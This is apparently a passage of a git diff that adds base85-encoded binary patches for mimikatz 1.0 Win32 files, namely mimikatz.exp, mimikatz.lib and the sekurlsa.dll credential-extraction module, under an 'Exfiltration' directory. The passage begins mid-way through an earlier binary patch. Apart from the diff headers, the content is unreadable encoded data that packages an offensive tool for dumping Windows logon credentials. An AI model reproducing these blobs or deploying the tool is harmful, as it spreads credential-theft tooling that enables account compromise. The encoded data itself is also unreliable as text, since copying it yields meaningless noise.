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 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.exp b/Exfiltration/mimikatz-1.0/Win32/mimikatz.exp new file mode 100644 index 0000000000000000000000000000000000000000..0de4a90a3413edb89d98a44f8965c5fdeb37fc2a GIT binary patch literal 825 zcmbtS%TC)+5Iqj1frRli(+a0*B(}2#oviWgx>a+!GThx+SeBTNv4#Co zkqUFWY4GP)Qv(;WAE}A@6`Pf-s(IdOpWy)qCG=!!x0T3fX`@@c%8So)ohT*>%GnIsM%M+ z*pi-_KH~YA$Ik!DxWp1B_iZj literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.lib b/Exfiltration/mimikatz-1.0/Win32/mimikatz.lib new file mode 100644 index 0000000000000000000000000000000000000000..b98eea9b2edc1537000af3aec82cb5b70b10130e GIT binary patch literal 1908 zcmcIlK~ED=5dL=CQrr;I2p32+OG2VtYFl=p7-I^ev0+=9?GlemZ51|Bmej(*i+{kM z;DM7r!V|y1g9p8P;BVl}?tApD6fLB_bl<$0H}B1SGxMekPg=e9{!`-n3{o6p>8!`pWKZqN7#1?cEJ!ht^!xDzCL0yl=;rV0ptHy zcCEGYWp*7cg{7ZWcbafd5>6UgzVqhw@!n!HW`PY_e3Fcy734PZL8sMkEtcdKl?T4j z_e%&;L@Owq3B45|#xyU;p44Nu0`p8KI)gjRVoC+|05dsG0$<33Ycf2!TMOE~@O}8U zZ$5OFOs87kigy2)rikZ*d;#Z?S2>zF+gYe)$cuK^JtB9*lh3%gkOuh-5B5)oL|p+Q zkN2e{!pD|UQev?V32>=n4 z$Kln|iM9rlQZ36;%GL5kGJA?E;uq>@+`Z-^e3Oa3 ZtmX?h&Yrb0+|oQ*(x_AVYHLoI`V9}_bCCc5 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll new file mode 100644 index 0000000000000000000000000000000000000000..0cb96386284bfa7543bd7057438badfde4e3b8ee GIT binary patch literal 178176 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 